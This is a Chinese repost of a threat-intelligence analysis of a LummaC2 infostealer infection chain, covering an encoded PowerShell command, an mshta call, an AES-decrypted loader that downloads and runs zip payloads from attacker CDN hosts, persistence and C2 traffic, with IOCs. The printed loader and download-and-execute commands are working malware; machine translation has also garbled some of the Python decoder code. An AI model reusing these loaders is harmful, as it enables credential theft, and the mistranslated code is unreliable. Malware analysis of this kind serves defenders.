混淆的 PowerShell 导致 Lumma C2 Stealer

admin 2024年9月26日13:10:00评论57 views字数 9956阅读33分11秒阅读模式

混淆的 PowerShell 导致 Lumma C2 Stealer

概述

最近几个月,我们观察到与 LummaC2 信息窃取程序相关的活动有所增加。本报告深入研究了 LummaC2 的一个新样本,该样本最初是通过一系列 PowerShell 命令发现的,这些命令最终在目标端点上下载并执行了有效负载。我们的分析涵盖了恶意软件执行的不同阶段,从初始 PowerShell 命令到后续的有效负载解密和执行,从而深入了解了威胁行为者使用的策略、技术和程序 (TTP)。

什么是 Lumma 恶意软件

Lumma 是一种用 C(编程语言)编写的信息窃取恶意软件,旨在窃取敏感信息。据观察,该恶意软件被用作恶意软件即服务 (MaaS),从 2022 年左右开始出现在俄语论坛上。一旦恶意软件感染目标主机,它就会尝试从端点窃取信息,然后将其泄露到命令和控制服务器。在此处查看更多信息:Lumma 恶意软件家族

样本信息

SHA256:2468e5bb596fa4543dba2adfe8fd795073486193b77108319e073b9924709a8a – 第一阶段

混淆的 PowerShell 导致 Lumma C2 Stealer

SHA256: 2caf283566656a13bf71f8ceac3c81f58a049c92a788368323b1ba25d872372e – 第二阶段

混淆的 PowerShell 导致 Lumma C2 Stealer

混淆的 PowerShell 导致 Lumma C2 Stealer

恶意软件的两个阶段均被确定为 LummaC2 Infostealer/Evader。我们还观察到样本某些部分的熵值较高,这可能表明存在混淆。这两个文件都没有签名,但它们确实包含显示伪装尝试的文件元数据。MITRE技术“伪装”T1036。

静态分析 第一阶段:

最初发现时,我们在 PowerShell 编码命令中发现了此示例,该命令试图与域通信以下载 LummaC2 恶意软件示例。

“PowerShell.exe”-eC bQBzAGgAdABhACAAaAB0AHQAcABzADoALwAvAG0AYQB0AG8ALQBjAGEAbQBwAC0AdgA0AC4AYgAtAGMAZABuAC4AbgBlAHQALwBrAGUAcwB0AHkA

使用此编码命令,我们可以使用 CyberChef 解码字符串。编码命令被识别为 Base64。通过运行以下步骤,我们可以对其进行解码。解码后,我们可以看到入侵的下一阶段。通过发现的信息,我们观察到“mshta”后跟域名、末尾的路径和可能的文件名。https ://attack.mitre.org/techniques/T1059/001/

混淆的 PowerShell 导致 Lumma C2 Stealer

Mshta.exe 是一个可执行文件,用于执行 Microsoft HTML 文件(称为“HTA”)。作为合法的 Microsoft Windows 二进制文件,它被视为 LOLbin(Living off the Land 二进制文件),允许参与者将该进程用于恶意目的。技术:T1218.005

mshta https[:]//mato-camp-v4[.]b-cdn[.]net/kesty

一旦执行“kesty”文件,我们就会观察到第二个 PowerShell 脚本正在运行。此脚本执行使用 AES 加密的 HEX 字符串。PowerShell 命令中存储的密钥允许我们使用一些 Python 代码来解密 HEX 字符串并观察入侵的下一阶段。我将 HEX 字符串与命令分开以简化读取输出。

"powershell[.]exe" -w 1 -ep Unrestricted -nop function dhHMLxZL($zybwHU){return -split ($zybwHU -replace '..', '0x$& ')};$VojsypW = dhHMLxZL('HEX STRING HERE');$qxErp = [System.Security.Cryptography.Aes]::Create();$qxErp.Key = dhHMLxZL('6D6B584A7142515A59457441736E454C');$qxErp.IV  = New-Object byte[] 16;$nkmgRbwD = $qxErp.CreateDecryptor();$KTyPFajOy = $nkmgRbwD.TransformFinalBlock($VojsypW, 0, $VojsypW.Length);$grJicbjRF = [System.Text.Encoding]::Utf8.GetString($KTyPFajOy);$nkmgRbwD.Dispose();& $grJicbjRF.Substring(0,3) $grJicbjRF.Substring(3)

十六进制字符串

B9EFAD8C773C4FE92E2E22914A07D7E3EFCBCCF45813B63684D5D0CE1F91BC8987190E70CCBAF581F2D0142BECBF89E5A6DCAED490FF701F3CDBFE12FD079F9106A8A78CFA3F65476F8A2594493A51557FBF89F4A9265945E0FF6F6160800A97AD474FC3BB569A75907866265CE08B2CCD2D88F6ADA298E5DD710D04CF157DCD58482384D7E5E3633FB0794A17559D12B9E69A84DC790B17886BF689ABBE9BF8A3DAB80E0A65157688FED50BF7490602BD78A46FEE240555CA152510BAECBFE3B9467FE0382D4DAB6A17C257A8DEC931CF0117FCE15640800861C8067AD02FD8D90EE1927BBED2B9CB1E0394A43F38959B9EBFCF9BFC489373F2C53346EE09D7AFEAA9B4D6EBF4EB1D6A6173D5D6139902FA76C080E2549DF0B07E0F41756DAEB157C64BA9F61A381E46DBBAFB86BD0B08B280D14C069343E8A58438EC99CE3E7B49993D990C131C747D9399ADB868348802CC206E62BE488D0ACC3C98B9492BB3B9F5EFC9EEBDA7E0DBDE25819C02AF7001B0C11EBDBC7FA3796EB537BB0A56ED21F4E20510EC9E9B936B8F4CFEF9275350623F3846397AE1615332790CA613CD266AF8B75162814123AD7E8A7668984E84E4F1A3DCB97DF46F2057C5B671F603140220E7A8555BB2EAC36D876FD34281BB7C48DF1614D130A5680593B7A4D9C4EF06979F0D4D170F40F140C8ABE3A7E08C249E7E793A55958CE746944178427C379F918C378E81721C5F919E2738FC8E1C01FF3A0391978D2776121CFA59AC64FCAACF8738B16EC0BD5915413241B1E597F38AF0402FE54EFFB754C9FB5219268B1B91B522C105AB0DD798FBAA7A3DA5E71E63F2EE7C6166B7F07AE84409D775B3BD318808EA4901546E793F4C5BD126B31549AFFB9DEC5FA039FF59E9731E0109B31DB528F9A78B2A7E585EB1A485C0601F132B760E88EEA681FF60EFAA2986E6720C9CD3383914E242C81D29A2AC9444A996F7DEC89DB2C94ED43378A1819DAB4E7E7AFBBD183A9B8E7788DFEB161D7F009346FEED40509A439E67BE259BFDCEB580F886F4571F9A79CC1FE86A18D851026184448090232F9B55AFA195DAB83E28B6A9BD5DA1AC561A3A5B6A97417E2A531B4F418BBCE62B2DA8F49724C32BF3F53F7CC340FB224071C933B03814B20DEFE0472B543F07815070B65661CC57FC7944F92A15D012BF3E3F9E741239FAD5AF28F36CB145352C2AF705D8DD021F048433938535A3609280B453A26E86B95D8CA0A63FD5DCF8087C8B44255C22F5AD92F394EB335BFE532240359BA4AD8E2E57694EA1191542558F0131F15FF14EC7DF244B6B5DE622066FB49B56850B137E3C55C6900435A34A82B966A71EF4D42FF1C36707DF5CB363D8F877150C15416D47D8F67FBC403C073DE0A859A5B6F17336AE12021BFAC88A38508AD47908F91F2511E7F061F6408FAD76F1837C0FE999F424802E205562F2209F1534E5E684562C7FE9E15411271E0D2AFCC47399EFBF20909683747834B0729624E5A5B6FE85263FAFBF45086A2FFCDCAE018DD5419F436BFC9C130526A873497BC23529A411EE48E684205AC730B20795A4743E63E5E9DA49CCECBF36E31F6BA0C79B46CAEFE6435F7B7BB4807BE276F02EE9E96F670C55E318184601914CEAB92FA5C719BB7D4BDE9D5170DBB58B422487863FE259E1B4B2456675F867A8B1D92A48725C5042568A83E0DF9F1C3FCDECA4939BFAD67E917263F64F9036A782CE1248407A1C4037C77E1E69418FA89732C49E027E1A0A7A70D26F02124BA6476F056EC1B5CCD9140BC44C8D83E40EDAADF50B5340C117663F35142F946239BDFEF99823DA4F4507B28A18C447CDA60AC90558986CAD6423F22C874BB3ED2BE8C78DCB6C14CA2664FB9350F5176F6C3A576271B72D61F7EDA33C440833A621D4BE02ED3C6050F3A38348C07A48491A29CF52BAC19979203D68F545FB4A9313235C99486C0B0E71BEEA1BD3A805D552E65C33C6C8F77E422A5C493E9D7E61C1C1AA2BBB70289A091AD929A786B565D71F531EC3345C045ED923542BD3A64C5B165D156096D943E9CA0B6407E34D81C1601D5EEE73

从 Crypto.Cipher 导入 AES

导入binascii

def dhHMLxZL(十六进制字符串):

    返回字节数组(binascii.unhexlify(hex_string))

# 十六进制编码字符串 - payload

十六进制字符串 = ('')

# 解密密钥

密钥十六进制 = '6D6B584A7142515A59457441736E454C'

密钥 = dhHMLxZL(key_hex)

# 初始化向量

iv = 字节数组(16)

# 解密数据

密码 = AES.new(密钥,AES.MODE_CBC,iv)

加密字节 = dhHMLxZL(十六进制字符串)

解密字节 = 密码.解密(加密字节)

decrypted_string = decrypted_bytes.decode('utf-8',错误='ignore')

打印(解密后的字符串)

在命令中,我们观察到“dhHMLxZL('6D6B584A7142515A59457441736E454C')”,我们已将其标识为解密密钥。通过使用 Python 脚本,我们可以对其进行解码。

解密后的 PowerShell 脚本如下:

iexfunction qZw($lKt, $ySk){[IO.File]::WriteAllBytes($lKt, $ySk)};function xoj($lKt){$VDFW = $env:Temp;Expand-Archive -Path $lKt -DestinationPath $VDFW;Add-Type -Assembly System.IO.Compression.FileSystem;$zipFile = [IO.Compression.ZipFile]::OpenRead($lKt);$TRJF =($zipFile.Entries | Sort-Object Name | Select-Object -First 1).Name;$xzRdS = Join-Path $VDFW $TRJF;start $xzRdS ;};function VIR($gOF){$QrS = New-Object (Aec @(3914,3937,3952,3882,3923,3937,3934,3903,3944,3941,3937,3946,3952));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$ySk = $QrS.DownloadData($gOF);return $ySk};function Aec($KUk){$wqg=3836;$LTu=$Null;foreach($ChY in $KUk){$LTu+=[char](<https://www.notion.so/$ChY-$wqg>)};return $LTu};function mjq(){$pOw = $env:Temp + '\\\\';;;$FUoqayOeHITRAQ = $pOw + 'U1.zip'; if (Test-Path -Path $FUoqayOeHITRAQ){xoj $FUoqayOeHITRAQ;}Else{ $VRplyCyUxeAYi = VIR (Aec @(3940,3952,3952,3948,3951,3894,3883,3883,3935,3933,3945,3948,3958,3941,3948,3951,3885,3882,3934,3881,3935,3936,3946,3882,3946,3937,3952,3883,3921,3885,3882,3958,3941,3948));qZw $FUoqayOeHITRAQ $VRplyCyUxeAYi;xoj $FUoqayOeHITRAQ};$oGCOSZNMJeHKTc = $pOw + 'U2.zip'; if (Test-Path -Path $oGCOSZNMJeHKTc){xoj $oGCOSZNMJeHKTc;}Else{ $MnAaDeGMvZKoV = VIR (Aec @(3940,3952,3952,3948,3951,3894,3883,3883,3935,3933,3945,3948,3958,3941,3948,3951,3885,3882,3934,3881,3935,3936,3946,3882,3946,3937,3952,3883,3921,3886,3882,3958,3941,3948));qZw $oGCOSZNMJeHKTc $MnAaDeGMvZKoV;xoj $oGCOSZNMJeHKTc};;;}mjq;\\x02\\x02

函数定义:

  • qZw:将字节数据写入文件。

  • xoj:将 zip 存档扩展至临时目录并执行在存档中找到的第一个文件。

  • VIR:使用 TLS 1.2 从给定的 URL 下载数据。

  • Aec:通过从每个值中减去 3836 并将结果转换为字符来解码整数数组。

  • mjq:协调从特定 URL 下载和执行两个 zip 文件U1.zip和U2.zip。U2.zip 包含“ashampoo.exe”。

查看定义的函数,我们发现了两个潜在的 zip 文件。根据我们的观察,这些文件包含额外的 URL 编码。利用这些信息,我们能够使用“Aec”函数解码 URL 数组,并获得以下 URL:

  • https[:]//campzips1[.]b-cdn[.]net/U1.zip

  • https[:]//campzips1[.]b-cdn[.]net/U2.zip

def Aec(KUk):

    韓國 = 3836

    LTu = ''.join([chr(ChY - wqg) for ChY in KUk])

    返回 LTu

# 编码的 URL 数组

url1_encoded = [3940, 3952, 3952, 3948, 3951, 3894, 3883, 3883, 3935, 3933, 3945, 3948, 3958, 3941, 3948, 3951, 3885, 3882, 3934, 3881, 3935, 3936, 3946, 3882, 3946, 3937, 3952, 3883, 3921, 3885, 3882, 3958, 3941, 3948]
url2_encoded = [3940, 3952, 3952, 3948, 3951, 3894, 3883, 3883, 3935, 3933, 3945, 3948, 3958, 3941, 3948, 3951, 3885, 3882, 3934, 3881, 3935, 3936, 3946, 3882, 3946, 3937, 3952, 3883, 3921, 3886, 3882, 3958, 3941, 3948]

# 解码后的 URL

url1 = Aec(url1_encoded)url2 = Aec(url2_encoded)

网址1、网址2

查看 VirusTotal 上的 URL,我们发现了一个名为 BitlockerToGO Execution 的 PE 文件。我们还发现进程“ashampoo.exe”存储在“U2.zip”中,我们认为这是名为 Lumma 的第二阶段恶意软件。

混淆的 PowerShell 导致 Lumma C2 Stealer

第二阶段:

深入研究恶意软件的下一阶段,一些域名已被关闭或威胁行为者已停止活动。不过,我能够在沙箱中运行第二阶段样本“ashampoo.exe”来执行一些动态分析,结果如下

我想检查的第一件事是它的执行情况,看看它执行了哪些操作,以及是否有任何其他子进程或其他文件被删除。

混淆的 PowerShell 导致 Lumma C2 Stealer

我们发现“dllhost.exe”是作为子进程创建的。恶意代码被注入“Bitlockertogo.exe”,然后创建两个额外的进程,最终创建“dllhost.exe”。此外,我们观察到“dllhost.exe”被用于命令和控制,并与 IP 建立连接。

混淆的 PowerShell 导致 Lumma C2 Stealer

混淆的 PowerShell 导致 Lumma C2 Stealer

此外,我们还观察到了持久性的尝试。观察到进程“mbssiy2zv5n8qjoazw144h95fvv3lwq.exe”从“ashampoo.exe”>“bitlockertogo.exe”中删除,然后创建子进程“mbssiy2zv5n8qjoazw144h95fvv3lwq.exe”。当我们查看进程 7 时,我们可以观察到成功写入“HKEY_USERS{USER Account HERE}SoftwareMicrosoftWindowsCurrentVersionRun”中的注册表。这是最常见的持久性点之一,因为它允许参与者获得对目标端点的访问权限。MITRE ATT&CK T1547.001

混淆的 PowerShell 导致 Lumma C2 Stealer

进一步研究恶意软件的命令和控制,我们可以从图 8 中看到“dllhost.exe”被用作命令和控制的进程。“Dllhost.exe”是一个已知的合法 Microsoft Windows 文件,具体来说是 Windows 用于加载 COM 对象的 COM 代理进程。

攻击者通过向该进程注入代码,指示其执行未经授权的操作,恶意利用该进程。这种技术通常称为进程注入。MITRE技术 T1055。

这里,我们有恶意连接的 PCAP。从动态分析中,我们观察到与 IP“188.68.220[.]48”的连接。通过将其设置为目的地,我们可以看到源 IP 地址和目标 IP 地址之间的通信。我们观察到与目标 C2 服务器的多个 HTTP 通信间隔。

混淆的 PowerShell 导致 Lumma C2 Stealer

在进一步分析动态分析的 PCAP 文件后,我们观察到对“vamplersam[.]info”的“POST”请求,其中请求正在将数据发送到端点“/cfg”。这可能表明 C2 服务器和目标端点之间正在交换数据流或命令。虽然我正在过滤对目标 IP 地址的分析,但很明显,如果发出了 POST 请求,则命令可能会从 C2 服务器发送到目标设备以接收数据。

其工作方式是,攻击者将发送命令,例如“获取文件”或“下载文件”,从而允许他们从目标设备收集数据。这将属于MITRE 技术“收集”和渗透MITRE 技术渗透。Lumma 的另一个常见方面是它使用用户代理“TeslaBrowser/5.5”。但是,在此示例中,当检查 HTTP 标头时,我们看不到此用户代理。这可能是因为攻击者使用自定义客户端发送请求,很可能是为了避免检测到,因为他们知道之前的样本中使用过此用户代理。

混淆的 PowerShell 导致 Lumma C2 Stealer

行为过程

混淆的 PowerShell 导致 Lumma C2 Stealer

MITRE 攻击技术

混淆的 PowerShell 导致 Lumma C2 Stealer

URLs:

https[:]//mato-camp-v4.b-cdn[.]nethttp[:]//campzips1.b-cdn[.]net/U1.ziphttps[:]//campzips1.b-cdn[.]net/U2.ziphttp[:]//sulphurhsum[.]shophttp[:]//rainbowmynsjn[.]shophttp[:]//assumedtribsosp[.]shophttp[:]//chippyfroggsyhz[.]shophttp[:]//ufort[.]infohttps[:]//bitbucket[.]org/dultevupse1/zeus/downloads/108GoDll.exehttp[:]//creepydxzoxmj[.]shophttp[:]//boattyownerwrv[.]shophttp[:]//vamplersam[.]info/cfghttps[:]//sulphurhsum[.]shop/apihttp[:]//budgetttysnzm[.]shophttp[:]//definitonizmnx[.]shophttp[:]//empiredzmwnx[.]shop

IP Addresses:

188.68.220[.]48 – Country: Russia185.166.143[.]48 – Country: RussiaResolved Domain: bitbucket[.]org

File Names/Hashes:

ashampoo.exeSHA256: 2caf283566656a13bf71f8ceac3c81f58a049c92a788368323b1ba25d872372eKesty[1]SHA256: 2468e5bb596fa4543dba2adfe8fd795073486193b77108319e073b9924709a8a108GoDll.exeSHA256: 32db2729ef61f2a19c4c3632f0de727476b7fce0d68b5dcec8d0246042a8e398mbssiy2zv5n8qjoazw144h95fvv3lwq.exeSHA256: 32db2729ef61f2a19c4c3632f0de727476b7fce0d68b5dcec8d0246042a8e398
https://www.ontinue.com/resource/obfuscated-powershell-leads-to-lumma-c2-stealer/

原文始发于微信公众号(Ots安全):混淆的 PowerShell 导致 Lumma C2 Stealer

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月26日13:10:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   混淆的 PowerShell 导致 Lumma C2 Stealerhttps://cn-sec.com/archives/3118661.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息